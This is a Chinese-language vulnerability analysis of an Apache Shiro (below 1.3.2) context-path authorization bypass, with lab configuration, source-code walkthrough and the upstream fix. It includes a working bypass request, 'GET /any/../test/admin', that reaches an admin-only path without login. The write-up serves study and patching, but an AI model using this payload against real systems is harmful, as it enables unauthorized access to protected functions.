描述:对请求路径中的ContextPath部分没有进行过滤,造成路径检测绕过,从而导致越权行为
漏洞条件
shiro.version < 1.3.2
项目路径不是根路径
/
而是类似/appName
的路径
测试环境
pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>servletDemo</artifactId>
<packaging>war</packaging>
<version>1.0-SNAPSHOT</version>
<name>servletDemo Maven Webapp</name>
<url>http://maven.apache.org</url>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.3.1</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.1.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-webmvc -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.2.25.RELEASE</version>
</dependency>
<dependency>
<groupId>org.example</groupId>
<artifactId>servletDemo</artifactId>
<version>1.0-SNAPSHOT</version>
</dependency>
<dependency>
<groupId>org.thymeleaf</groupId>
<artifactId>thymeleaf-spring5</artifactId>
<version>3.0.12.RELEASE</version>
</dependency>
<!-- 为了方便调试tomcat源码而引入,可以不添加 -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.96</version>
<scope>provided</scope>
</dependency>
</dependencies>
<build>
<finalName>servletDemo</finalName>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>9</source>
<target>9</target>
</configuration>
</plugin>
</plugins>
</build>
</project>
springmvc.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context.xsd
http://www.springframework.org/schema/mvc
http://www.springframework.org/schema/mvc/spring-mvc.xsd">
<!-- Provide support for component scanning -->
<context:component-scan base-package="com.test.servlet" />
<!--Provide support for conversion, formatting and validation -->
<mvc:annotation-driven/>
<bean id="thymeleafViewResolver" class="org.thymeleaf.spring5.view.ThymeleafViewResolver">
<property name="characterEncoding" value="UTF-8"/>
<property name="order" value="1"/>
<property name="templateEngine">
<bean class="org.thymeleaf.spring5.SpringTemplateEngine">
<property name="templateResolver">
<bean class="org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver">
<property name="prefix" value="/WEB-INF/templates/"/>
<property name="suffix" value=".html"/>
<property name="templateMode" value="HTML"/>
<property name="characterEncoding" value="UTF-8"/>
</bean>
</property>
</bean>
</property>
</bean>
</beans>
shiro.ini
[main]
shiro.loginUrl = /login
[users]
# format: username = password, role1, role2, ..., roleN
admin=123456,admin
user=123456,user
[roles]
# format: roleName = permission1, permission2, ..., permissionN
admin=*
user=user:query
[urls]
# The /login.jsp is not restricted to authenticated users (otherwise no one could log in!), but
# the 'authc' filter must still be specified for it so it can process that url's
# login submissions. It is 'smart' enough to allow those requests through as specified by the
# shiro.loginUrl above.
/login = authc
/admin = authc, roles[admin]
/user = authc , roles[user]
/** = anon
漏洞原理
整体流程:
标红为漏洞入口
详情:shiro-web 源码分析
源码分析:
以下源码为shiro-1.3.1
PathMatchingFilterChainResolver.getChain(...):
getPathWithinApplication(request)
getRequestUri 在shiro 1.1.0已经修复了cve-2010-3863 将uri规范化了 : shiro-web CVE-2010-3863 路径绕过 - FreeBuf网络安全行业门户
getContextPath(request)
public static String getContextPath(HttpServletRequest request) {
//INCLUDE_CONTEXT_PATH_ATTRIBUTE = "javax.servlet.include.context_path"
String contextPath = (String) request.getAttribute(INCLUDE_CONTEXT_PATH_ATTRIBUTE);
if (contextPath == null) {
contextPath = request.getContextPath();
}
//这是项目根路径必须不能是 ‘/’的原因
if ("/".equals(contextPath)) {
// Invalid case, but happens for includes on Jetty: silently adapt it.
contextPath = "";
}
//对contextPath进行url解码
return decodeRequestString(request, contextPath);
//很明显这里没有对解码后的路径进行规范化,这也是漏洞的根本原因
}
StringUtils.startsWithIgnoreCase()
public static boolean startsWithIgnoreCase(String str, String prefix) {
if (str != null && prefix != null) {
if (str.startsWith(prefix)) {
return true;
} else if (str.length() < prefix.length()) {
return false;
} else {
//截取[0, prefix.length)
String lcStr = str.substring(0, prefix.length()).toLowerCase();
String lcPrefix = prefix.toLowerCase();
return lcStr.equals(lcPrefix);
}
} else {
return false;
}
}
requestUri.substring(contextPath.length()):
/appname/path
-->/path
hasText() :
Check whether the given String has actual text. More specifically, returns true if the string not null, its length is greater than 0, and it contains at least one non-whitespace character.
测试
根路径为 /test
正常访问
payload:
GET /test/admin HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
毫无疑问最终返回 /admin
根据配置这个路径需要 验证以及授权,这次访问我是直接访问,没有登入,所以结果是重定向到登入页面:
恶意访问
payload:
GET /any/../test/admin HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
调试
很明显/test/admin
不匹配 /admin
而匹配 /**
响应:
漏洞修复
shiro-1.3.2:
和cve-2010-3863的修复方法一致,调用normalize()
Reference
JavaSec/12.Shiro/CVE-2016-6802权限绕过/index.md at main · Y4tacker/JavaSec